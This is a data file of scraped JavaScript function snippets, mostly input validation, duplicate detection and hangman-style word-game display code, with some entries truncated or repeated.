dirty = true;\\n });\\n\\n return dirty;\\n }\",\n \"function manage_user_input(){\\n let input = $(\\\"#user_input\\\").val().toUpperCase();\\n if(input.length > 0 && !all_user_input.includes(input)){\\n $(\\\"#game_message_p\\\").attr(\\\"hidden\\\",true);\\n $(\\\"#user_input\\\").val(\\\"\\\");\\n let isTarget = check_user_input(input);\\n store_user_input(input,isTarget);\\n } else {\\n $(\\\"#game_message_p\\\")\\n .text(\\\"Input too short (min length = 1) or you already tried this word.\\\")\\n .attr(\\\"hidden\\\",false);\\n }\\n}\",\n \"function addTo() { \\n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\\n playerChoice = parseInt(document.getElementById(\\\"userinput\\\").value);\\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\\n playerArray.push(playerChoice); \\n //highlights with an alert when the player has chosen all 6 numbers\\n if(playerArray.length == 6){\\n printNumbersPlayer()\\n alert(\\\"you have now chosen your 6 numbers!\\\");\\n }\\n\\n return false;\\n }\\n //this else statement posts an alert if a duplicate has been used\\n else {\\n alert(\\\"you have used a duplicate, try another number!\\\");\\n return false;\\n }\\n }\",\n \"function checkDuplicatePicklistValues(arr) {\\n\\tvar len=arr.length;\\n\\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\\n }\\n return [[...seen], input]\\n}\",\n \"function add(animals, animal) {\\n// takes an array of animals and an object representing a new animal\\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\\n \\n // if user types something into the fields\\n if (animal.name.length > 0 && animal.species.length > 0) {\\n // loop to check to see if the name exists \\n for (let i = 0; i < animals.length; i++) {\\n if (animal.name === animals[i].name) {\\n console.log (\\\"that animal exists\\\");\\n return;\\n } \\n }\\n animals.push(animal);\\n }\\n}\",\n \"checkUserInput() {\\r\\n const {\\r\\n drugId1, drugId2, sample, dataset,\\r\\n } = this.state;\\r\\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\\r\\n }\",\n \"function isDuplicateEntry(wslId) {\\r\\n\\t//alert(\\\"wslField = \\\" + wslField);\\r\\n\\tvar wslIdList = getMainView().forms[0].elements[wslField];\\r\\n\\t//alert(\\\"wslIdList = \\\" + wslIdList);\\r\\n\\tvar duplicate = false;\\r\\n\\t//alert(\\\"!wslIdList = \\\" + (!wslIdList));\\r\\n\\tif(!wslIdList) return false;\\r\\n\\t\\r\\n\\t//alert(\\\"wslIdList.length = \\\" + wslIdList.length);\\r\\n\\tif(wslIdList.length) {\\r\\n\\t\\t// there are more than one entry\\r\\n\\t\\tfor(var z=0; z 1) return true\\n }\\n return false;\\n}\",\n \"function removeDuplicates (input) {\\n\\t\\t\\tlet result = input.filter(function(item, pos) {\\n\\t\\t\\t\\treturn input.indexOf(item) == pos;\\n\\t\\t\\t});\\n\\t\\t\\treturn result\\n\\t\\t}\",\n \"function areThereDuplicates2() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n }\",\n \"function findDuplicate() {\\n\\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\\n var filteringModelsArray = _.uniq(modelsArray);\\n\\n return filteringModelsArray.length === modelsArray.length;\\n }\",\n \"function checkForDuplicates()\\r\\n\\t{\\r\\n\\tfor (i=0; i < activeClippings.length; i++)\\r\\n\\t\\t{\\r\\n\\t\\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function checkInput(guess) {\\n\\t\\tfor (var i = 1; i <= 4; i++) {\\n\\t\\t\\tvar inputnow = \\\"input\\\" + i;\\n\\t\\t\\t//console.log(inputnow);\\n\\t\\t\\tvar newNum = parseInt(document.getElementById(inputnow).value);\\n\\t\\t\\tconsole.log(newNum);\\n\\t\\t\\tif (isValid(newNum)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (checkNum(newNum, guess)) {\\n\\t\\t\\t\\t\\t// Good to go. \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\" 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function handleSaveUrl() {\\n inputValue = input.value;\\n let checkUrl = arrWithUrl.includes(inputValue);\\n if(checkUrl) {\\n showModal();\\n modalContent.textContent = \\\"You have already saved this url\\\"; \\n } else {\\n arrWithUrl.push(inputValue);\\n setLocalStorage(arrWithUrl);\\n createUrlItem(inputValue);\\n }\\n form.reset();\\n}\",\n \"function validateNamesUnique() {\\n var i = 0;\\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\\n vm.paramsForm['name_' + i].$setValidity(\\n 'unique',\\n vm.parametersList.isNameUnique(modelValue)\\n );\\n i++;\\n }\\n }\",\n \"function areThereDuplicates() {\\n // console.log(arguments)\\n let counter = {};\\n for (let i=0; i< arguments.length; i++){\\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\\n if (counter[arguments[i]]) return true;\\n counter[arguments[i]] = 1;\\n // console.log(counter)\\n\\n }\\n return false;\\n}\",\n \"function checkDuplicatedNames() {\\n\\n for(var i = 0; i < productTable.length; i++)\\n {\\n if(productName.value == productTable[i].name) \\n {\\n productName.classList.add(\\\"is-invalid\\\");\\n productName.classList.remove(\\\"is-valid\\\");\\n\\n PNameAlert.classList.add(\\\"d-block\\\");\\n PNameAlert.classList.remove(\\\"d-none\\\");\\n\\n PNameAlert.innerHTML = \\\"Product Name Already Exists\\\";\\n\\n addBtn.disabled = true;\\n } \\n }\\n}\",\n \"function insertNum(){\\r\\n var win = true;\\r\\n for (var i = 0; i < numbers.length; i++) {\\r\\n userList[i] = Number(prompt(\\\"Inserisci il \\\"+ (i+1) +\\\"° numero\\\"));\\r\\n if (userList[i] === numbers[i]) {\\r\\n win *= true;\\r\\n }\\r\\n else{\\r\\n win = false;\\r\\n }\\r\\n }\\r\\n return win;\\r\\n}\",\n \"function getValue(input){\\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\\n if(operators2.includes(inputs[inputs.length-1]===true && input===\\\".\\\")){\\n console.log(\\\"Duplicat '.' \\\");\\n }\\n //if very first number is exactly = 1\\n else if(inputs.length===1 && operators1.includes(input)===false){\\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\\n inputs.push(input); \\n }\\n //if last thing was not an operator, go ahead and add that input to the array\\n //if last character was not an operator, add operator to the array\\n else if(operators1.includes(inputs[inputs.length-1])===false){\\n inputs.push(input);\\n }\\n //check to add a number..convert string to number\\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\\n else if(nums.includes(Number(input))){\\n //push input to end of array?\\n inputs.push(input);\\n }\\n //update function will update value at end of our list\\n update();\\n }\",\n \"function findDuplicateCharacters(input) {\\n}\",\n \"inNoOfShare() {\\n var flag = true;\\n var Noofshares = read.question(\\\"Enter how many shares you have \\\");\\n while (flag) {\\n\\n if (!isNaN(Noofshares)) {//for validate full name\\n flag = false;\\n } else {\\n var Noofshares = read.question(\\\"Wrong input !!!...Please enter No of shares in integer \\\");\\n }\\n }\\n return Noofshares;\\n }\",\n \"function hasElementsWithUniqueNames() {\\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\\n // Radio buttons have duplicate names.\\n .filter(field => field.type !== 'radio');\\n let problemFields = duplicates.map(field => stringifyElement(field));\\n // Deduplicate items with same tagName and id.\\n problemFields = [...new Set(problemFields)];\\n if (problemFields.length) {\\n const item = {\\n // description: 'Autocomplete values must be valid.',\\n details: 'Found fields in the same form with duplicate
• ' +\\n `${problemFields.join('
• ')}`,\\n learnMore: 'Learn more: The input element name attribute',\\n title: 'Fields in the same form must have unique').text('No duplicates: ' + newSentence).appendTo('#outputs');\\n}\",\n \"function clickedScore() {\\n if (playerInitals.includes(nameSubmit.value)) {\\n alert(\\\"That inital already exist\\\");\\n } else if (\\n nameSubmit.value === \\\"\\\" ||\\n nameSubmit.value === null ||\\n nameSubmit.value === undefined\\n ) {\\n alert(\\\"Please enter valid initals\\\");\\n } else {\\n playerInitals.push(nameSubmit.value);\\n playerScores.push(score);\\n setLS();\\n matchHS();\\n viewHS();\\n }\\n}\",\n \"handleSubmit(event) {\\n event.preventDefault();\\n let symbol = event.target[0].value.trim();\\n if (symbol === '') {\\n alert('The input box was empty.');\\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\\n alert('This stock symbol has already been entered.');\\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\\n alert('That isn\\\\'t a valid stock symbol.');\\n } else {\\n let newSymbols = this.state.stockSymbols.slice();\\n newSymbols.push(symbol.toUpperCase());\\n this.setState({stockSymbols: newSymbols});\\n }\\n }\",\n \"function duplicateCheck() {\\n if(duplicateInput.checked) {\\n if (lengthInput.value.trim() <= 10) {\\n return(true)\\n }\\n else {\\n dupErrorString.textContent = \\\"You can only remove duplicates for a password of 10 or fewer characters\\\"\\n return(false)\\n }\\n }\\n else {\\n return(true)\\n }\\n}\",\n \"addSong(selectedSong){\\r\\n let newItem = this.userBand + \\\" - \\\" + selectedSong;\\r\\n //prevents adding of duplicate songs\\r\\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\\\"This song is already in the list\\\");\\r\\n }\",\n \"function readInput() {\\n clear(\\\"comparingDiv\\\")\\n\\n input1 = document.getElementById(\\\"searchbox1\\\").value;\\n input2 = document.getElementById(\\\"searchbox2\\\").value;\\n\\n var list = educationInterface.getIDs();\\n\\n if (!list.includes(input1) || !list.includes(input2)) \\n comparingDiv.appendChild(document.createTextNode(\\\"Invalid input. Please check that both field contain valid ids.\\\"));\\n else \\n createComparisionTables(input1.toString(), input2.toString());\\n\\n return false;\\n}\",\n \"inStockName() {\\n var name = read.question(\\\"Enter the name of stock \\\");\\n var flag = true;\\n while (flag) {//for validating inputs\\n\\n if (isNaN(name)) {//for validate the name \\n flag = false;\\n } else {\\n var name = read.question(\\\"Wrong input !!!...Please enter correct name of Stack \\\");\\n }\\n }\\n return name;\\n }\",\n \"function duplicateChars(letter) {\\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\\n warning = \\\"YOU ALREADY GUESSED THAT LETTER!\\\";\\n warningElement.innerHTML = warning;\\n }\\n}\",\n \"function duplicateFinder(word, inputValueArr, currentKey) {\\n console.log(\\\"word, inputValueArr, currentKey\\\", word, inputValueArr, currentKey);\\n\\n for (let i = 0; i < inputValueArr.length; i++) {\\n //exclude checking the current index while finding duplicates.\\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\\n if (currentKey != i && word === inputValueArr[i]) {\\n return true;\\n }\\n\\n }\\n return false;\\n}\",\n \"function checkInput() {\\n if (attempts > 0) {\\n let counter = 0;\\n\\n for (let toValidate of domList.children) {\\n let li = toValidate;\\n let wordChar = li.getAttribute(\\\"data-char\\\").toLowerCase();\\n let pChar = toValidate.querySelector(\\\"p\\\");\\n\\n if (wordChar === inputChar) {\\n counter = counter + 1;\\n pChar.classList.remove(\\\"hidden\\\");\\n }\\n }\\n let check = wrongKeys.includes(inputChar);\\n\\n if (counter === 0 && check === false) {\\n wrongKeys.push(inputChar);\\n displayWrongKeys();\\n }\\n }\\n countWrongAttempts();\\n}\",\n \"addEntry() {\\n let candidateName = this.state.newEntryName\\n let temp = this.state.pieData\\n let newId = this.generateId()\\n\\n //Avoiding empty labels\\n if(candidateName === ''){\\n alert(\\\"Please insert an entry name\\\")\\n } \\n else{\\n\\n //Ensuring that the label is unique by going through all labels in pie data..\\n for(var i = 0; i < temp.length; i++){\\n\\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \\n if(temp[i].label === candidateName){\\n alert(\\\"This entry already exists. Please enter a unique entry name.\\\");\\n document.getElementById('newEntry').value = '';\\n return\\n }\\n }\\n\\n //If there are no errors, the entry object is pushed into pieData.\\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\\n this.setState({\\n pieData: temp,\\n newEntryName: ''\\n })\\n //Reset the data from the input\\n document.getElementById('newEntry').value = '';\\n }\\n }\",\n \"function combinedArray() {\\n var userName = prompt(\\\"Please enter a name\\\", \\\"Enter name here\\\");\\n var nameSearch = allNames.lastIndexOf(userName);\\n if (nameSearch > 0) {\\n alert(\\\"Your name is in the array\\\")\\n }\\n else {\\n alert(\\\"Your name is NOT in the array\\\")\\n }\\n}\",\n \"function areThereDuplicates() {\\n let freqCounter = {};\\n for(let i = 0; i < arguments.length; i++){\\n if(freqCounter[arguments[i]]){\\n return true;\\n } else {\\n freqCounter[arguments[i]] = true;\\n }\\n }\\n return false;\\n}\",\n \"function validateUnique(threeArray){\\n for(var i = 0; i < threeArray.length; i ++){\\n for(var v = 0; v < lastItemsSeen.length; v++){\\n if(threeArray[i].product === lastItemsSeen[v].product){\\n \\n return false;\\n \\n }\\n }\\n return true;\\n }\\n}\",\n \"function userInput() {\\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\\n checkedLower = window.confirm('Do you want Lower Case Letters?');\\n checkedNumbers = window.confirm('Do you want Numbers?');\\n checkedSpecial = window.confirm('Do you want Special Characters?');\\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\\n alert(\\\"Must choose at least one\\\");\\n userInput();\\n }\\n}\",\n \"function areThereDuplicates() {\\n let collection = {};\\n for (let val in arguments) {\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\\n }\\n for (let key in collection) {\\n if (collection[key] > 1) return true;\\n }\\n return false;\\n}\",\n \"function checkUserInput(){\\n\\t\\t//check if title name is inputted\\n\\t\\tif (!$(element).find('input[id=edit_title_name]').val()){\\n\\t\\t\\talert (\\\"Please input the test's title name\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if test type is selected\\n\\t\\tif (!$('#edit_test_type').val()){\\n\\t\\t\\talert (\\\"Please choose the test type\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if total question number is inputted correctly\\n\\t\\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\\n\\t\\t\\talert (\\\"Please input correct number in total main question number\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check in each question set...\\n\\t\\tnGroups = $(element).find('input[id=edit_total_question]').val();\\n\\t\\tfor (var i=1;i<=nGroups;i++){\\n\\t\\t\\t//check if sub question number is inputted correctly\\n\\t\\t\\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\\n\\t\\t\\t\\talert (\\\"Please input correct number in total sub question number for Q\\\" + i);\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t//check in each question...\\n\\t\\t\\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\\n\\t\\t\\tfor (var j=1;j<=total_sub_question;j++){\\n\\t\\t\\t\\t//check question content or picture is inputted\\n\\t\\t\\t\\tif (!$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + '_pic]').val()){\\n\\t\\t\\t\\t\\talert (\\\"Please input a question content or picture on Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\t\\t\\t\\t\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//check learning object link and name are inputted.\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object link for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object name for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//variable to check for checkbox (correct answer)\\n\\t\\t\\t\\tvar isChecked = false;\\t\\n\\t\\t\\t\\t//check for each answer...\\n\\t\\t\\t\\tfor (var k=1;k<=4;k++){\\n\\t\\t\\t\\t\\t//check answer content is inputted\\n\\t\\t\\t\\t\\tif (!$(element).find('input[name=answer' + i + '\\\\\\\\.'+ j + '_'+ k + ']').val()){\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input an answer for Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t//check if one of checkboxes is selected \\n\\t\\t\\t\\t\\tif ( $(element).find('input[id=answer' + i + '\\\\\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\\n\\t\\t\\t\\t\\t\\tisChecked = true;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//if no checkbox is selected\\n\\t\\t\\t\\tif (!isChecked){\\n\\t\\t\\t\\t\\talert (\\\"Please select one correct answer in Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\t\\t\\n }\\n\\t\\treturn true;\\n\\t}\",\n \"function checkInput(){\\n if(isNaN(userGuess)) {\\n alert(\\\"Please enter a number from 1 - 100!\\\");\\n } else if(userGuess === \\\" \\\") {\\n alert(\\\"Well, you have to input a number\\\");\\n } else if (userGuess < 0 || userGuess > 100) {\\n alert(\\\"Plese enter a number from 1 - 100!\\\");\\n } else {\\n comparisonAmount();\\n console.log(\\\"User guess = \\\" + userGuess);\\n $('#userGuess').val('');\\n guessCount++;\\n setCount(guessCount);\\n $('ul#guessList').append(\\\" \\\" + userGuess + \\\" \\\");\\n }\\n}\",\n \"checkIfUnique(name, value, signal) {\\n if (name === 'password' || name === 'confirmPassword') return;\\n return this.getAll(signal)\\n .then(users => {\\n return users.find(user => user[name] === value)\\n })\\n .then(user => {\\n let message = '';\\n if (user !== undefined){\\n message = `This ${name} has already been used.`; \\n } \\n return this.setError(name, message); \\n });\\n }\",\n \"function checkDuplicate()\\n {\\n var found = false;\\n for (var i = 0; i < $scope.list.length; i++)\\n {\\n if ($scope.list[i].item == $scope.item)\\n {\\n found = true;\\n }\\n }\\n return found;\\n }\",\n \"function areThereDuplicates() {\\n let args = [...arguments];\\n const argsList = {}\\n for(let i = 0; i< args.length; i++){\\n let currentArg = args[i];\\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\\n }\\n for (let two in argsList) {\\n if (argsList[two] > 1) {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"handleSubmit(e) {\\n e.preventDefault();\\n let firstValue, secondValue;\\n const [firstInput, secondInput] = e.target.elements;\\n firstValue = firstInput.value.trim().split(' ').join('');\\n secondValue = secondInput.value.trim().split(' ').join('');\\n\\n this.checkValues(firstValue,secondValue);\\n\\n firstInput.value = '' ;\\n secondInput.value = '' ;\\n firstInput.focus();\\n\\n }\",\n \"function checkEntry() {\\n while (typeof sticksToRemove !== \\\"number\\\" ||\\n Math.trunc(sticksToRemove) !== sticksToRemove ||\\n sticksToRemove < 1 ||\\n sticksToRemove > Math.min(3, stickCount)) {\\n sticksToRemove = parseInt(prompt(\\\"Invalid entry. \\\" + players[0] + \\\", how many sticks do you want to remove? (1-3)\\\"));\\n }\\n}\",\n \"function checkDupe(data,x){\\n\\n if(idArray.includes(data[x][0])){\\n return false;\\n } else { return true; }\\n\\n}\",\n \"function areThereDuplicatesBonus(...args) {\\n args.sort();\\n let j = 1;\\n let i = 0;\\n while(j !== args.length){\\n if(args[j] !== args[i]){\\n i++;\\n j++;\\n } else {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function validateSkillSelections(){\\n // if there are errors clear them here, we'll replace them if they aren't fixed\\n $('.skills_section .validation_error').remove();\\n var $skills = $(\\\".skill_selector\\\");\\n var result = true;\\n console.log(`Starting skill validation. Result: ${result}`);\\n for(let j = 0; j < $skills.length; j++){\\n for(let i = $skills.length - 1; i > j; i--){\\n if( $($skills[j]).val() === $($skills[i]).val()){\\n // Two skills are the same, fire an error message\\n console.log(\\\"two skills are the same!!!!\\\");\\n result = false;\\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\\\"_\\\"));\\n if ($(`.skills_section .${skillType}_error`).length < 1){\\n insertValidationError(`.${skillType}_list`, skillType, \\\"You cannot choose the same skill more than once\\\"); \\n }\\n }\\n }\\n }\\n console.log(`Ending skill validation. Result: ${result}`);\\n return result;\\n }\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"addStudent(newStudent) {\\n let foundDuplicates = studentsFullList.filter(student => {\\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\\n });\\n if (foundDuplicates.length > 0) {\\n console.log(`Student already added`);\\n } else {\\n studentsFullList.push(newStudent);\\n }\\n return {\\n newStudent,\\n studentsFullList\\n }\\n }\",\n \"function isValid(guess) {\\n return !hasDuplicates(guess)\\n}\",\n \"function validateUsers(e) {\\n let username = e.target.name.value;\\n let pin = e.target.pin.value;\\n console.log(username, pin);\\n let x = sortedUsers.find((user) => user.username === username);\\n if (x != undefined) {\\n x.pin === pin ? exitSignIn(x) : alert(\\\"incorrect password\\\");\\n } else {\\n console.log(\\\"at else Existing User\\\");\\n alert(\\\"invalid input, try again\\\");\\n }\\n }\",\n \"function theGuess(userInput) {\\n //if the user guessed correctly....\\n if (userInput === theLetter) {\\n winCounter++;\\n lettersGuessed.length = 0;\\n guessesRemaining = 8;\\n newLetter();\\n printWin();\\n printLetters();\\n printGuesses();\\n winCheck();\\n //if the user guessed incorrectly and that letter has not already been guessed....\\n } else if (lettersGuessed.includes(userInput) === false) {\\n console.log(`User entered ${userInput}`);\\n lettersGuessed.push(userInput);\\n guessesRemaining--;\\n printGuesses();\\n printLetters();\\n }\\n gameCheck();\\n}\",\n \"function checkInputField(event) {\\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\\n AddPlayer();\\n }\\n}\",\n \"function validActivityInput(){\\n let activity = [];\\n const activityError = \\\" {currentWord.innerHTML = words[0][randIndex]}, 200)\r\n}","function updateDisplay() {\n document.getElementById(\"counterWins\").innerText = wins;\n var guessingWordText = \"\";\n for (var i = 0; i < guessingWord.length; i++) {\n guessingWordText += guessingWord[i];\n }\n document.getElementById(\"currentWord\").innerText = guessingWordText;\n document.getElementById(\"counterLives\").innerText = remainingGuesses;\n document.getElementById(\"counterGuessed\").innerText = guessedLetters;\n}","function lose() {\n gameEnd.css('display', 'block');\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\n}","function underline(){\r\n\r\n underscore = [];\r\n for(let i=0;i 0) {\n wins++;\n var showWins = document.getElementById(\"wins\");\n showWins.innerHTML = wins;\n }\n }\n}","function updateDisplay() {\n\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"totalLosses\").innerText = losses;\n\n // Display how much of the word we've already guessed on screen.\n var guessWordText = \"\";\n for (var i = 0; i < guessWord.length; i++) {\n guessWordText += guessWord[i];\n }\n\n //\n document.getElementById(\"currentWord\").innerText = guessWordText;\n document.getElementById(\"lifePoints\").innerText = lifePoints;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n}","displayLetters() {\r\n let wordHidden = \"\\n\";\r\n for (let i = 0; i < this.text.length; i++) {\r\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\r\n wordHidden += HangmanUtils.symbol;\r\n }\r\n else {\r\n wordHidden += this.text.charAt(i);\r\n }\r\n wordHidden += \" \";\r\n }\r\n console.log(wordHidden);\r\n }","function displayGame() {\n getAnimal();\n animalType.innerHTML = gameAnimalType;\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\n document.getElementById(\"guess\").focus();\n document.getElementById(\"guess\").select();\n wordWrapper.classList.remove(\"vis-hidden\");\n }","function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}","function clock() {\n timeElapsed = timeElapsed + letterTime;\n if (!flipped) {\n lettersShow = lettersShow + 1;\n flipped = (lettersShow >= currentWord.length)\n }else{\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\n lettersShow = lettersShow - 1;\n \n if (lettersShow == 0) {\n flipped = false;\n timeElapsed = 0;\n changeWord();\n }\n }\n }\n\n $('#anim-text').text(function(i,t) {\n return currentWord.substr(0,lettersShow);\n })\n }","function printToPage(randomWord) {\n myWord = randomWord.word;\n // concatenate array to Str for printing on one line\n var myStr = '';\n console.log(myWord);\n for (var i = 0; i < myWord.length; i++){\n if (correctGuesses.includes(myWord[i])) {\n myStr += (\" \" + myWord[i] + \" \");\n }\n else {\n myStr += (\" _ \");\n }\n };\n console.log('\\n' + myStr + '\\n');\n if (correctGuesses.length == myWord.length) {\n console.log(\"GG bro\");\n }\n else {\n promptUser();\n };\n \n}","function draw() {\n if (lives <= 0) {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n ctx.font = \"60px Arial\";\n ctx.fillStyle = \"red\";\n ctx.fillText(\"Game Over\", position, canvas.height / 2);\n return;\n }\n\n /* user type in the word that is being display */\n\n let typeWord = wordInput.value.toLowerCase();\n ctx.clearRect(0, 0, 400, 400);\n movingBackground();\n wordFalls();\n score();\n lifeLine();\n if (typeWord === wordArr[randomIndex]) {\n projectile();\n }\n window.requestAnimationFrame(draw);\n }","function renderGame() {\n // If there are still more words in the array, set the display and write it to the page\n if (currentIndex <= (secretWords.length - 1)) {\n secretWord = secretWords[currentIndex];\n display = repeatChar(secretWord.length, '_');\n tries = 0;\n document.querySelector(\"#progress\").innerHTML = \"Guess the bread: \" + display;\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n // If the supply of breads has been exhausted, render the end game screen.\n else {\n document.querySelector(\"#progress\").innerHTML = \"Game Over!\";\n document.querySelector(\"#results\").innerHTML = \"Refresh the page to play again.\";\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n}","function showWord(words){\n\n //Generate randow array index\n const randIndex = Math.floor(Math.random() *words.length);\n //Output random word\n currentWord.innerHTML=words[randIndex];\n}","function game() {\n //hide words\n //$(\".fiveWords\").hide(); //removed because the letters need to show when new game starts\n \n //move words --alec\n myMove(\"1\");\n myMove(\"2\");\n myMove(\"3\");\n myMove(\"4\");\n myMove(\"5\");\n \n}","function displayEndScreen() {\n //display image\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\n //Set text size in push-pop\n push();\n textSize(19);\n //If player hits zero kids, display this\n if (player.sentence === 0) {\n text(\"It took you only \" + player.timeSpent + \" hours and you did it \\nwithout bumping into children! \\nAmazing job, Hieronymous! Back to \\nloitering!\", 0 + windowWidth / 20, windowWidth / 5);\n //If player hits less than three kids, display this\n } else if (player.sentence < 107) {\n text(\"It took you only \" + player.timeSpent + \" hours \\nand you only added \" + player.sentence + \" days \\n to your community service!\", 0 + windowWidth / 20, windowWidth / 5);\n } else {\n //otherwise, display this message\n text(\"It took you \" + player.timeSpent + \" hours... \\n...but holy crap Hieronymous you added \" + player.sentence + \" days \\nto your community service. Embarrassing.\", 0 + windowWidth 